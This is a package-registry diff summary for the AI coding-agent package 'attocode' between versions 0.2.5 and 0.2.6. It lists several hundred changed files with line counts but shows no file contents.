attocode 0.2.5 → 0.2.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +33 -1
- package/dist/src/adapters.d.ts +37 -0
- package/dist/src/adapters.d.ts.map +1 -1
- package/dist/src/adapters.js +146 -19
- package/dist/src/adapters.js.map +1 -1
- package/dist/src/agent/agent-builder.d.ts.map +1 -1
- package/dist/src/agent/agent-builder.js.map +1 -1
- package/dist/src/agent/feature-initializer.d.ts +1 -1
- package/dist/src/agent/feature-initializer.d.ts.map +1 -1
- package/dist/src/agent/feature-initializer.js +40 -41
- package/dist/src/agent/feature-initializer.js.map +1 -1
- package/dist/src/agent/index.d.ts +2 -2
- package/dist/src/agent/index.d.ts.map +1 -1
- package/dist/src/agent/index.js +2 -2
- package/dist/src/agent/index.js.map +1 -1
- package/dist/src/agent/message-builder.d.ts.map +1 -1
- package/dist/src/agent/message-builder.js +8 -5
- package/dist/src/agent/message-builder.js.map +1 -1
- package/dist/src/agent/session-api.d.ts.map +1 -1
- package/dist/src/agent/session-api.js +3 -1
- package/dist/src/agent/session-api.js.map +1 -1
- package/dist/src/agent-tools/lsp-file-tools.d.ts.map +1 -1
- package/dist/src/agent-tools/lsp-file-tools.js +17 -13
- package/dist/src/agent-tools/lsp-file-tools.js.map +1 -1
- package/dist/src/agent.d.ts +12 -2
- package/dist/src/agent.d.ts.map +1 -1
- package/dist/src/agent.js +207 -76
- package/dist/src/agent.js.map +1 -1
- package/dist/src/analysis/feedback-loop.d.ts.map +1 -1
- package/dist/src/analysis/feedback-loop.js +13 -9
- package/dist/src/analysis/feedback-loop.js.map +1 -1
- package/dist/src/analysis/index.d.ts +1 -1
- package/dist/src/analysis/index.d.ts.map +1 -1
- package/dist/src/analysis/index.js +1 -1
- package/dist/src/analysis/index.js.map +1 -1
- package/dist/src/analysis/prompt-templates.d.ts.map +1 -1
- package/dist/src/analysis/prompt-templates.js.map +1 -1
- package/dist/src/analysis/trace-summary.d.ts.map +1 -1
- package/dist/src/analysis/trace-summary.js +25 -9
- package/dist/src/analysis/trace-summary.js.map +1 -1
- package/dist/src/cli.d.ts.map +1 -1
- package/dist/src/cli.js +3 -1
- package/dist/src/cli.js.map +1 -1
- package/dist/src/commands/agents-commands.d.ts.map +1 -1
- package/dist/src/commands/agents-commands.js +3 -3
- package/dist/src/commands/agents-commands.js.map +1 -1
- package/dist/src/commands/handler.d.ts.map +1 -1
- package/dist/src/commands/handler.js +60 -37
- package/dist/src/commands/handler.js.map +1 -1
- package/dist/src/commands/init-commands.d.ts.map +1 -1
- package/dist/src/commands/init-commands.js +8 -10
- package/dist/src/commands/init-commands.js.map +1 -1
- package/dist/src/commands/init.js +16 -16
- package/dist/src/commands/init.js.map +1 -1
- package/dist/src/commands/skills-commands.d.ts.map +1 -1
- package/dist/src/commands/skills-commands.js +10 -7
- package/dist/src/commands/skills-commands.js.map +1 -1
- package/dist/src/commands/types.d.ts.map +1 -1
- package/dist/src/config/config-manager.d.ts.map +1 -1
- package/dist/src/config/config-manager.js +4 -1
- package/dist/src/config/config-manager.js.map +1 -1
- package/dist/src/config/index.d.ts +1 -1
- package/dist/src/config/index.d.ts.map +1 -1
- package/dist/src/config/schema.d.ts.map +1 -1
- package/dist/src/config/schema.js +6 -2
- package/dist/src/config/schema.js.map +1 -1
- package/dist/src/core/agent-state-machine.d.ts.map +1 -1
- package/dist/src/core/agent-state-machine.js +5 -2
- package/dist/src/core/agent-state-machine.js.map +1 -1
- package/dist/src/core/completion-analyzer.d.ts.map +1 -1
- package/dist/src/core/completion-analyzer.js +2 -2
- package/dist/src/core/completion-analyzer.js.map +1 -1
- package/dist/src/core/execution-loop.d.ts +172 -1
- package/dist/src/core/execution-loop.d.ts.map +1 -1
- package/dist/src/core/execution-loop.js +481 -383
- package/dist/src/core/execution-loop.js.map +1 -1
- package/dist/src/core/index.d.ts +2 -2
- package/dist/src/core/index.d.ts.map +1 -1
- package/dist/src/core/index.js +1 -1
- package/dist/src/core/index.js.map +1 -1
- package/dist/src/core/queues/event-queue.d.ts.map +1 -1
- package/dist/src/core/queues/event-queue.js.map +1 -1
- package/dist/src/core/response-handler.d.ts.map +1 -1
- package/dist/src/core/response-handler.js +17 -8
- package/dist/src/core/response-handler.js.map +1 -1
- package/dist/src/core/subagent-spawner.d.ts.map +1 -1
- package/dist/src/core/subagent-spawner.js +85 -53
- package/dist/src/core/subagent-spawner.js.map +1 -1
- package/dist/src/core/tool-executor.d.ts.map +1 -1
- package/dist/src/core/tool-executor.js +56 -25
- package/dist/src/core/tool-executor.js.map +1 -1
- package/dist/src/core/types.d.ts.map +1 -1
- package/dist/src/core/types.js.map +1 -1
- package/dist/src/costs/model-registry.js +6 -6
- package/dist/src/costs/model-registry.js.map +1 -1
- package/dist/src/defaults.d.ts.map +1 -1
- package/dist/src/defaults.js +67 -20
- package/dist/src/defaults.js.map +1 -1
- package/dist/src/errors/index.d.ts.map +1 -1
- package/dist/src/errors/index.js +6 -8
- package/dist/src/errors/index.js.map +1 -1
- package/dist/src/first-run.d.ts.map +1 -1
- package/dist/src/first-run.js +11 -11
- package/dist/src/first-run.js.map +1 -1
- package/dist/src/integrations/agents/agent-registry.d.ts.map +1 -1
- package/dist/src/integrations/agents/agent-registry.js +16 -16
- package/dist/src/integrations/agents/agent-registry.js.map +1 -1
- package/dist/src/integrations/agents/async-subagent.d.ts.map +1 -1
- package/dist/src/integrations/agents/async-subagent.js +7 -9
- package/dist/src/integrations/agents/async-subagent.js.map +1 -1
- package/dist/src/integrations/agents/complexity-classifier.d.ts.map +1 -1
- package/dist/src/integrations/agents/complexity-classifier.js +46 -15
- package/dist/src/integrations/agents/complexity-classifier.js.map +1 -1
- package/dist/src/integrations/agents/delegation-protocol.d.ts.map +1 -1
- package/dist/src/integrations/agents/delegation-protocol.js +6 -6
- package/dist/src/integrations/agents/delegation-protocol.js.map +1 -1
- package/dist/src/integrations/agents/multi-agent.d.ts.map +1 -1
- package/dist/src/integrations/agents/multi-agent.js +10 -14
- package/dist/src/integrations/agents/multi-agent.js.map +1 -1
- package/dist/src/integrations/agents/result-synthesizer.d.ts.map +1 -1
- package/dist/src/integrations/agents/result-synthesizer.js +8 -6
- package/dist/src/integrations/agents/result-synthesizer.js.map +1 -1
- package/dist/src/integrations/agents/shared-blackboard.d.ts.map +1 -1
- package/dist/src/integrations/agents/shared-blackboard.js.map +1 -1
- package/dist/src/integrations/agents/subagent-output-store.d.ts.map +1 -1
- package/dist/src/integrations/agents/subagent-output-store.js +3 -4
- package/dist/src/integrations/agents/subagent-output-store.js.map +1 -1
- package/dist/src/integrations/budget/budget-pool.d.ts.map +1 -1
- package/dist/src/integrations/budget/budget-pool.js +4 -8
- package/dist/src/integrations/budget/budget-pool.js.map +1 -1
- package/dist/src/integrations/budget/cancellation.d.ts.map +1 -1
- package/dist/src/integrations/budget/cancellation.js +16 -2
- package/dist/src/integrations/budget/cancellation.js.map +1 -1
- package/dist/src/integrations/budget/dynamic-budget.d.ts.map +1 -1
- package/dist/src/integrations/budget/dynamic-budget.js +4 -6
- package/dist/src/integrations/budget/dynamic-budget.js.map +1 -1
- package/dist/src/integrations/budget/economics.d.ts.map +1 -1
- package/dist/src/integrations/budget/economics.js +51 -19
- package/dist/src/integrations/budget/economics.js.map +1 -1
- package/dist/src/integrations/budget/injection-budget.js +1 -1
- package/dist/src/integrations/budget/injection-budget.js.map +1 -1
- package/dist/src/integrations/budget/loop-detector.d.ts.map +1 -1
- package/dist/src/integrations/budget/loop-detector.js +23 -6
- package/dist/src/integrations/budget/loop-detector.js.map +1 -1
- package/dist/src/integrations/budget/phase-tracker.d.ts.map +1 -1
- package/dist/src/integrations/budget/phase-tracker.js +4 -1
- package/dist/src/integrations/budget/phase-tracker.js.map +1 -1
- package/dist/src/integrations/budget/resources.d.ts.map +1 -1
- package/dist/src/integrations/budget/resources.js +54 -10
- package/dist/src/integrations/budget/resources.js.map +1 -1
- package/dist/src/integrations/context/auto-compaction.d.ts.map +1 -1
- package/dist/src/integrations/context/auto-compaction.js +16 -8
- package/dist/src/integrations/context/auto-compaction.js.map +1 -1
- package/dist/src/integrations/context/code-analyzer.d.ts.map +1 -1
- package/dist/src/integrations/context/code-analyzer.js +17 -20
- package/dist/src/integrations/context/code-analyzer.js.map +1 -1
- package/dist/src/integrations/context/code-selector.d.ts.map +1 -1
- package/dist/src/integrations/context/code-selector.js +42 -23
- package/dist/src/integrations/context/code-selector.js.map +1 -1
- package/dist/src/integrations/context/codebase-ast.d.ts.map +1 -1
- package/dist/src/integrations/context/codebase-ast.js +121 -58
- package/dist/src/integrations/context/codebase-ast.js.map +1 -1
- package/dist/src/integrations/context/codebase-context.d.ts.map +1 -1
- package/dist/src/integrations/context/codebase-context.js +26 -17
- package/dist/src/integrations/context/codebase-context.js.map +1 -1
- package/dist/src/integrations/context/compaction.d.ts.map +1 -1
- package/dist/src/integrations/context/compaction.js +27 -20
- package/dist/src/integrations/context/compaction.js.map +1 -1
- package/dist/src/integrations/context/context-engineering.d.ts.map +1 -1
- package/dist/src/integrations/context/context-engineering.js.map +1 -1
- package/dist/src/integrations/context/semantic-cache.d.ts.map +1 -1
- package/dist/src/integrations/context/semantic-cache.js +6 -1
- package/dist/src/integrations/context/semantic-cache.js.map +1 -1
- package/dist/src/integrations/index.d.ts +2 -2
- package/dist/src/integrations/index.d.ts.map +1 -1
- package/dist/src/integrations/index.js +2 -2
- package/dist/src/integrations/index.js.map +1 -1
- package/dist/src/integrations/mcp/mcp-client.d.ts.map +1 -1
- package/dist/src/integrations/mcp/mcp-client.js +48 -27
- package/dist/src/integrations/mcp/mcp-client.js.map +1 -1
- package/dist/src/integrations/mcp/mcp-custom-tools.d.ts.map +1 -1
- package/dist/src/integrations/mcp/mcp-custom-tools.js +2 -2
- package/dist/src/integrations/mcp/mcp-custom-tools.js.map +1 -1
- package/dist/src/integrations/mcp/mcp-tool-search.d.ts.map +1 -1
- package/dist/src/integrations/mcp/mcp-tool-search.js +8 -8
- package/dist/src/integrations/mcp/mcp-tool-search.js.map +1 -1
- package/dist/src/integrations/mcp/mcp-tool-validator.d.ts.map +1 -1
- package/dist/src/integrations/mcp/mcp-tool-validator.js +5 -7
- package/dist/src/integrations/mcp/mcp-tool-validator.js.map +1 -1
- package/dist/src/integrations/persistence/codebase-repository.d.ts.map +1 -1
- package/dist/src/integrations/persistence/codebase-repository.js +6 -2
- package/dist/src/integrations/persistence/codebase-repository.js.map +1 -1
- package/dist/src/integrations/persistence/goal-repository.d.ts.map +1 -1
- package/dist/src/integrations/persistence/goal-repository.js +8 -5
- package/dist/src/integrations/persistence/goal-repository.js.map +1 -1
- package/dist/src/integrations/persistence/history.d.ts.map +1 -1
- package/dist/src/integrations/persistence/history.js +2 -4
- package/dist/src/integrations/persistence/history.js.map +1 -1
- package/dist/src/integrations/persistence/persistence.d.ts.map +1 -1
- package/dist/src/integrations/persistence/persistence.js +6 -3
- package/dist/src/integrations/persistence/persistence.js.map +1 -1
- package/dist/src/integrations/persistence/session-repository.d.ts.map +1 -1
- package/dist/src/integrations/persistence/session-repository.js +39 -28
- package/dist/src/integrations/persistence/session-repository.js.map +1 -1
- package/dist/src/integrations/persistence/session-store.d.ts.map +1 -1
- package/dist/src/integrations/persistence/session-store.js +4 -4
- package/dist/src/integrations/persistence/session-store.js.map +1 -1
- package/dist/src/integrations/persistence/sqlite-store.d.ts.map +1 -1
- package/dist/src/integrations/persistence/sqlite-store.js +6 -2
- package/dist/src/integrations/persistence/sqlite-store.js.map +1 -1
- package/dist/src/integrations/persistence/worker-repository.d.ts.map +1 -1
- package/dist/src/integrations/persistence/worker-repository.js +1 -3
- package/dist/src/integrations/persistence/worker-repository.js.map +1 -1
- package/dist/src/integrations/quality/auto-checkpoint.d.ts.map +1 -1
- package/dist/src/integrations/quality/auto-checkpoint.js +3 -5
- package/dist/src/integrations/quality/auto-checkpoint.js.map +1 -1
- package/dist/src/integrations/quality/dead-letter-queue.d.ts.map +1 -1
- package/dist/src/integrations/quality/dead-letter-queue.js +14 -8
- package/dist/src/integrations/quality/dead-letter-queue.js.map +1 -1
- package/dist/src/integrations/quality/health-check.d.ts.map +1 -1
- package/dist/src/integrations/quality/health-check.js +14 -11
- package/dist/src/integrations/quality/health-check.js.map +1 -1
- package/dist/src/integrations/quality/learning-store.d.ts.map +1 -1
- package/dist/src/integrations/quality/learning-store.js +108 -31
- package/dist/src/integrations/quality/learning-store.js.map +1 -1
- package/dist/src/integrations/quality/self-improvement.d.ts.map +1 -1
- package/dist/src/integrations/quality/self-improvement.js +1 -1
- package/dist/src/integrations/quality/self-improvement.js.map +1 -1
- package/dist/src/integrations/quality/tool-recommendation.d.ts.map +1 -1
- package/dist/src/integrations/quality/tool-recommendation.js +40 -10
- package/dist/src/integrations/quality/tool-recommendation.js.map +1 -1
- package/dist/src/integrations/safety/bash-policy.d.ts.map +1 -1
- package/dist/src/integrations/safety/bash-policy.js +8 -5
- package/dist/src/integrations/safety/bash-policy.js.map +1 -1
- package/dist/src/integrations/safety/execution-policy.d.ts.map +1 -1
- package/dist/src/integrations/safety/execution-policy.js +15 -5
- package/dist/src/integrations/safety/execution-policy.js.map +1 -1
- package/dist/src/integrations/safety/policy-engine.d.ts.map +1 -1
- package/dist/src/integrations/safety/policy-engine.js +51 -11
- package/dist/src/integrations/safety/policy-engine.js.map +1 -1
- package/dist/src/integrations/safety/safety.d.ts.map +1 -1
- package/dist/src/integrations/safety/safety.js +18 -15
- package/dist/src/integrations/safety/safety.js.map +1 -1
- package/dist/src/integrations/safety/sandbox/basic.d.ts.map +1 -1
- package/dist/src/integrations/safety/sandbox/basic.js +1 -3
- package/dist/src/integrations/safety/sandbox/basic.js.map +1 -1
- package/dist/src/integrations/safety/sandbox/docker.d.ts.map +1 -1
- package/dist/src/integrations/safety/sandbox/docker.js.map +1 -1
- package/dist/src/integrations/safety/sandbox/index.d.ts.map +1 -1
- package/dist/src/integrations/safety/sandbox/index.js +28 -4
- package/dist/src/integrations/safety/sandbox/index.js.map +1 -1
- package/dist/src/integrations/safety/sandbox/landlock.d.ts.map +1 -1
- package/dist/src/integrations/safety/sandbox/landlock.js +7 -3
- package/dist/src/integrations/safety/sandbox/landlock.js.map +1 -1
- package/dist/src/integrations/safety/sandbox/seatbelt.d.ts.map +1 -1
- package/dist/src/integrations/safety/sandbox/seatbelt.js +4 -11
- package/dist/src/integrations/safety/sandbox/seatbelt.js.map +1 -1
- package/dist/src/integrations/safety/type-checker.d.ts.map +1 -1
- package/dist/src/integrations/safety/type-checker.js +6 -2
- package/dist/src/integrations/safety/type-checker.js.map +1 -1
- package/dist/src/integrations/skills/skill-executor.d.ts.map +1 -1
- package/dist/src/integrations/skills/skill-executor.js +3 -7
- package/dist/src/integrations/skills/skill-executor.js.map +1 -1
- package/dist/src/integrations/skills/skills.d.ts.map +1 -1
- package/dist/src/integrations/skills/skills.js +24 -15
- package/dist/src/integrations/skills/skills.js.map +1 -1
- package/dist/src/integrations/streaming/pty-shell.d.ts.map +1 -1
- package/dist/src/integrations/streaming/pty-shell.js +5 -1
- package/dist/src/integrations/streaming/pty-shell.js.map +1 -1
- package/dist/src/integrations/streaming/streaming.d.ts.map +1 -1
- package/dist/src/integrations/streaming/streaming.js +7 -5
- package/dist/src/integrations/streaming/streaming.js.map +1 -1
- package/dist/src/integrations/swarm/failure-classifier.d.ts.map +1 -1
- package/dist/src/integrations/swarm/failure-classifier.js +18 -3
- package/dist/src/integrations/swarm/failure-classifier.js.map +1 -1
- package/dist/src/integrations/swarm/index.d.ts +5 -5
- package/dist/src/integrations/swarm/index.d.ts.map +1 -1
- package/dist/src/integrations/swarm/index.js +4 -4
- package/dist/src/integrations/swarm/index.js.map +1 -1
- package/dist/src/integrations/swarm/model-selector.d.ts.map +1 -1
- package/dist/src/integrations/swarm/model-selector.js +20 -23
- package/dist/src/integrations/swarm/model-selector.js.map +1 -1
- package/dist/src/integrations/swarm/request-throttle.d.ts.map +1 -1
- package/dist/src/integrations/swarm/request-throttle.js +7 -4
- package/dist/src/integrations/swarm/request-throttle.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-budget.d.ts.map +1 -1
- package/dist/src/integrations/swarm/swarm-budget.js +1 -1
- package/dist/src/integrations/swarm/swarm-budget.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-config-loader.d.ts.map +1 -1
- package/dist/src/integrations/swarm/swarm-config-loader.js +46 -17
- package/dist/src/integrations/swarm/swarm-config-loader.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-event-bridge.d.ts.map +1 -1
- package/dist/src/integrations/swarm/swarm-event-bridge.js +69 -23
- package/dist/src/integrations/swarm/swarm-event-bridge.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-events.d.ts.map +1 -1
- package/dist/src/integrations/swarm/swarm-events.js +1 -1
- package/dist/src/integrations/swarm/swarm-events.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-execution.d.ts.map +1 -1
- package/dist/src/integrations/swarm/swarm-execution.js +96 -46
- package/dist/src/integrations/swarm/swarm-execution.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-helpers.d.ts.map +1 -1
- package/dist/src/integrations/swarm/swarm-helpers.js +25 -12
- package/dist/src/integrations/swarm/swarm-helpers.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-lifecycle.d.ts.map +1 -1
- package/dist/src/integrations/swarm/swarm-lifecycle.js +102 -47
- package/dist/src/integrations/swarm/swarm-lifecycle.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-orchestrator.d.ts +1 -1
- package/dist/src/integrations/swarm/swarm-orchestrator.d.ts.map +1 -1
- package/dist/src/integrations/swarm/swarm-orchestrator.js +97 -39
- package/dist/src/integrations/swarm/swarm-orchestrator.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-quality-gate.d.ts.map +1 -1
- package/dist/src/integrations/swarm/swarm-quality-gate.js +18 -14
- package/dist/src/integrations/swarm/swarm-quality-gate.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-recovery.d.ts.map +1 -1
- package/dist/src/integrations/swarm/swarm-recovery.js +42 -29
- package/dist/src/integrations/swarm/swarm-recovery.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-state-store.d.ts.map +1 -1
- package/dist/src/integrations/swarm/swarm-state-store.js +4 -2
- package/dist/src/integrations/swarm/swarm-state-store.js.map +1 -1
- package/dist/src/integrations/swarm/task-queue.d.ts +7 -1
- package/dist/src/integrations/swarm/task-queue.d.ts.map +1 -1
- package/dist/src/integrations/swarm/task-queue.js +32 -25
- package/dist/src/integrations/swarm/task-queue.js.map +1 -1
- package/dist/src/integrations/swarm/types.d.ts.map +1 -1
- package/dist/src/integrations/swarm/types.js +89 -12
- package/dist/src/integrations/swarm/types.js.map +1 -1
- package/dist/src/integrations/swarm/worker-pool.d.ts.map +1 -1
- package/dist/src/integrations/swarm/worker-pool.js +32 -24
- package/dist/src/integrations/swarm/worker-pool.js.map +1 -1
- package/dist/src/integrations/tasks/dependency-analyzer.d.ts.map +1 -1
- package/dist/src/integrations/tasks/dependency-analyzer.js +1 -2
- package/dist/src/integrations/tasks/dependency-analyzer.js.map +1 -1
- package/dist/src/integrations/tasks/interactive-planning.d.ts.map +1 -1
- package/dist/src/integrations/tasks/interactive-planning.js +2 -9
- package/dist/src/integrations/tasks/interactive-planning.js.map +1 -1
- package/dist/src/integrations/tasks/pending-plan.d.ts.map +1 -1
- package/dist/src/integrations/tasks/pending-plan.js +16 -16
- package/dist/src/integrations/tasks/pending-plan.js.map +1 -1
- package/dist/src/integrations/tasks/planning.d.ts.map +1 -1
- package/dist/src/integrations/tasks/planning.js +42 -23
- package/dist/src/integrations/tasks/planning.js.map +1 -1
- package/dist/src/integrations/tasks/smart-decomposer.d.ts.map +1 -1
- package/dist/src/integrations/tasks/smart-decomposer.js +17 -10
- package/dist/src/integrations/tasks/smart-decomposer.js.map +1 -1
- package/dist/src/integrations/tasks/task-manager.d.ts.map +1 -1
- package/dist/src/integrations/tasks/task-manager.js +25 -18
- package/dist/src/integrations/tasks/task-manager.js.map +1 -1
- package/dist/src/integrations/tasks/task-splitter.d.ts.map +1 -1
- package/dist/src/integrations/tasks/task-splitter.js +21 -16
- package/dist/src/integrations/tasks/task-splitter.js.map +1 -1
- package/dist/src/integrations/tasks/verification-gate.d.ts.map +1 -1
- package/dist/src/integrations/tasks/verification-gate.js +4 -2
- package/dist/src/integrations/tasks/verification-gate.js.map +1 -1
- package/dist/src/integrations/tasks/work-log.d.ts.map +1 -1
- package/dist/src/integrations/tasks/work-log.js +22 -10
- package/dist/src/integrations/tasks/work-log.js.map +1 -1
- package/dist/src/integrations/utilities/capabilities.d.ts.map +1 -1
- package/dist/src/integrations/utilities/capabilities.js +46 -8
- package/dist/src/integrations/utilities/capabilities.js.map +1 -1
- package/dist/src/integrations/utilities/diff-utils.d.ts.map +1 -1
- package/dist/src/integrations/utilities/diff-utils.js +6 -7
- package/dist/src/integrations/utilities/diff-utils.js.map +1 -1
- package/dist/src/integrations/utilities/environment-facts.d.ts.map +1 -1
- package/dist/src/integrations/utilities/environment-facts.js +12 -2
- package/dist/src/integrations/utilities/environment-facts.js.map +1 -1
- package/dist/src/integrations/utilities/file-change-tracker.d.ts.map +1 -1
- package/dist/src/integrations/utilities/file-change-tracker.js +7 -8
- package/dist/src/integrations/utilities/file-change-tracker.js.map +1 -1
- package/dist/src/integrations/utilities/graph-visualization.d.ts.map +1 -1
- package/dist/src/integrations/utilities/graph-visualization.js +8 -6
- package/dist/src/integrations/utilities/graph-visualization.js.map +1 -1
- package/dist/src/integrations/utilities/hierarchical-config.d.ts.map +1 -1
- package/dist/src/integrations/utilities/hierarchical-config.js +5 -1
- package/dist/src/integrations/utilities/hierarchical-config.js.map +1 -1
- package/dist/src/integrations/utilities/hooks.d.ts.map +1 -1
- package/dist/src/integrations/utilities/hooks.js +3 -3
- package/dist/src/integrations/utilities/hooks.js.map +1 -1
- package/dist/src/integrations/utilities/ignore.js +1 -1
- package/dist/src/integrations/utilities/ignore.js.map +1 -1
- package/dist/src/integrations/utilities/image-renderer.d.ts.map +1 -1
- package/dist/src/integrations/utilities/image-renderer.js +4 -9
- package/dist/src/integrations/utilities/image-renderer.js.map +1 -1
- package/dist/src/integrations/utilities/logger.d.ts.map +1 -1
- package/dist/src/integrations/utilities/logger.js +1 -3
- package/dist/src/integrations/utilities/logger.js.map +1 -1
- package/dist/src/integrations/utilities/memory.d.ts.map +1 -1
- package/dist/src/integrations/utilities/memory.js +1 -3
- package/dist/src/integrations/utilities/memory.js.map +1 -1
- package/dist/src/integrations/utilities/observability.d.ts.map +1 -1
- package/dist/src/integrations/utilities/observability.js +2 -1
- package/dist/src/integrations/utilities/observability.js.map +1 -1
- package/dist/src/integrations/utilities/openrouter-pricing.d.ts.map +1 -1
- package/dist/src/integrations/utilities/openrouter-pricing.js +3 -3
- package/dist/src/integrations/utilities/openrouter-pricing.js.map +1 -1
- package/dist/src/integrations/utilities/react.d.ts.map +1 -1
- package/dist/src/integrations/utilities/react.js +5 -9
- package/dist/src/integrations/utilities/react.js.map +1 -1
- package/dist/src/integrations/utilities/retry.d.ts.map +1 -1
- package/dist/src/integrations/utilities/retry.js +1 -1
- package/dist/src/integrations/utilities/retry.js.map +1 -1
- package/dist/src/integrations/utilities/routing.d.ts.map +1 -1
- package/dist/src/integrations/utilities/routing.js +16 -4
- package/dist/src/integrations/utilities/routing.js.map +1 -1
- package/dist/src/integrations/utilities/rules.d.ts.map +1 -1
- package/dist/src/integrations/utilities/rules.js +4 -6
- package/dist/src/integrations/utilities/rules.js.map +1 -1
- package/dist/src/integrations/utilities/sourcegraph.d.ts.map +1 -1
- package/dist/src/integrations/utilities/sourcegraph.js +3 -5
- package/dist/src/integrations/utilities/sourcegraph.js.map +1 -1
- package/dist/src/integrations/utilities/thinking-strategy.d.ts.map +1 -1
- package/dist/src/integrations/utilities/thinking-strategy.js.map +1 -1
- package/dist/src/integrations/utilities/thread-manager.d.ts.map +1 -1
- package/dist/src/integrations/utilities/thread-manager.js +8 -6
- package/dist/src/integrations/utilities/thread-manager.js.map +1 -1
- package/dist/src/integrations/utilities/token-estimate.d.ts +5 -0
- package/dist/src/integrations/utilities/token-estimate.d.ts.map +1 -1
- package/dist/src/integrations/utilities/token-estimate.js +7 -1
- package/dist/src/integrations/utilities/token-estimate.js.map +1 -1
- package/dist/src/main.js +41 -24
- package/dist/src/main.js.map +1 -1
- package/dist/src/modes/repl.d.ts.map +1 -1
- package/dist/src/modes/repl.js +51 -17
- package/dist/src/modes/repl.js.map +1 -1
- package/dist/src/modes/tui.d.ts.map +1 -1
- package/dist/src/modes/tui.js +70 -10
- package/dist/src/modes/tui.js.map +1 -1
- package/dist/src/modes.d.ts.map +1 -1
- package/dist/src/modes.js +13 -13
- package/dist/src/modes.js.map +1 -1
- package/dist/src/observability/tracer.d.ts.map +1 -1
- package/dist/src/observability/tracer.js +7 -3
- package/dist/src/observability/tracer.js.map +1 -1
- package/dist/src/observability/types.d.ts.map +1 -1
- package/dist/src/observability/types.js.map +1 -1
- package/dist/src/paths.d.ts.map +1 -1
- package/dist/src/paths.js +2 -6
- package/dist/src/paths.js.map +1 -1
- package/dist/src/persistence/migrator.d.ts.map +1 -1
- package/dist/src/persistence/migrator.js +7 -7
- package/dist/src/persistence/migrator.js.map +1 -1
- package/dist/src/providers/adapters/anthropic.d.ts.map +1 -1
- package/dist/src/providers/adapters/anthropic.js +50 -38
- package/dist/src/providers/adapters/anthropic.js.map +1 -1
- package/dist/src/providers/adapters/azure.d.ts.map +1 -1
- package/dist/src/providers/adapters/azure.js +31 -16
- package/dist/src/providers/adapters/azure.js.map +1 -1
- package/dist/src/providers/adapters/mock.d.ts.map +1 -1
- package/dist/src/providers/adapters/mock.js +9 -9
- package/dist/src/providers/adapters/mock.js.map +1 -1
- package/dist/src/providers/adapters/openai.d.ts.map +1 -1
- package/dist/src/providers/adapters/openai.js +22 -15
- package/dist/src/providers/adapters/openai.js.map +1 -1
- package/dist/src/providers/adapters/openrouter.d.ts.map +1 -1
- package/dist/src/providers/adapters/openrouter.js +60 -33
- package/dist/src/providers/adapters/openrouter.js.map +1 -1
- package/dist/src/providers/circuit-breaker.d.ts.map +1 -1
- package/dist/src/providers/circuit-breaker.js +4 -3
- package/dist/src/providers/circuit-breaker.js.map +1 -1
- package/dist/src/providers/fallback-chain.d.ts.map +1 -1
- package/dist/src/providers/fallback-chain.js +3 -3
- package/dist/src/providers/fallback-chain.js.map +1 -1
- package/dist/src/providers/llm-resilience.d.ts.map +1 -1
- package/dist/src/providers/llm-resilience.js +2 -2
- package/dist/src/providers/llm-resilience.js.map +1 -1
- package/dist/src/providers/provider.d.ts.map +1 -1
- package/dist/src/providers/provider.js +1 -2
- package/dist/src/providers/provider.js.map +1 -1
- package/dist/src/providers/resilient-fetch.d.ts.map +1 -1
- package/dist/src/providers/resilient-fetch.js +3 -4
- package/dist/src/providers/resilient-fetch.js.map +1 -1
- package/dist/src/providers/resilient-provider.d.ts.map +1 -1
- package/dist/src/providers/resilient-provider.js +8 -5
- package/dist/src/providers/resilient-provider.js.map +1 -1
- package/dist/src/session-picker.d.ts.map +1 -1
- package/dist/src/session-picker.js +9 -5
- package/dist/src/session-picker.js.map +1 -1
- package/dist/src/shared/budget-tracker.d.ts.map +1 -1
- package/dist/src/shared/budget-tracker.js +1 -1
- package/dist/src/shared/budget-tracker.js.map +1 -1
- package/dist/src/shared/context-engine.d.ts.map +1 -1
- package/dist/src/shared/context-engine.js +1 -1
- package/dist/src/shared/context-engine.js.map +1 -1
- package/dist/src/shared/persistence.d.ts.map +1 -1
- package/dist/src/shared/persistence.js +2 -6
- package/dist/src/shared/persistence.js.map +1 -1
- package/dist/src/shared/shared-context-state.d.ts.map +1 -1
- package/dist/src/shared/shared-context-state.js.map +1 -1
- package/dist/src/shared/shared-economics-state.d.ts.map +1 -1
- package/dist/src/shared/shared-economics-state.js.map +1 -1
- package/dist/src/tools/agent.d.ts +1 -1
- package/dist/src/tools/agent.d.ts.map +1 -1
- package/dist/src/tools/agent.js +10 -7
- package/dist/src/tools/agent.js.map +1 -1
- package/dist/src/tools/bash.d.ts.map +1 -1
- package/dist/src/tools/bash.js.map +1 -1
- package/dist/src/tools/coercion.js +1 -1
- package/dist/src/tools/coercion.js.map +1 -1
- package/dist/src/tools/file.d.ts.map +1 -1
- package/dist/src/tools/file.js +1 -1
- package/dist/src/tools/file.js.map +1 -1
- package/dist/src/tools/permission.js +5 -6
- package/dist/src/tools/permission.js.map +1 -1
- package/dist/src/tools/registry.d.ts.map +1 -1
- package/dist/src/tools/registry.js +3 -5
- package/dist/src/tools/registry.js.map +1 -1
- package/dist/src/tools/standard.d.ts.map +1 -1
- package/dist/src/tools/standard.js +1 -3
- package/dist/src/tools/standard.js.map +1 -1
- package/dist/src/tools/tasks.d.ts.map +1 -1
- package/dist/src/tools/tasks.js +4 -4
- package/dist/src/tools/tasks.js.map +1 -1
- package/dist/src/tools/types.d.ts.map +1 -1
- package/dist/src/tools/types.js +5 -1
- package/dist/src/tools/types.js.map +1 -1
- package/dist/src/tools/undo.d.ts.map +1 -1
- package/dist/src/tools/undo.js +4 -2
- package/dist/src/tools/undo.js.map +1 -1
- package/dist/src/tracing/cache-boundary-tracker.d.ts.map +1 -1
- package/dist/src/tracing/cache-boundary-tracker.js +7 -11
- package/dist/src/tracing/cache-boundary-tracker.js.map +1 -1
- package/dist/src/tracing/trace-collector.d.ts.map +1 -1
- package/dist/src/tracing/trace-collector.js +28 -28
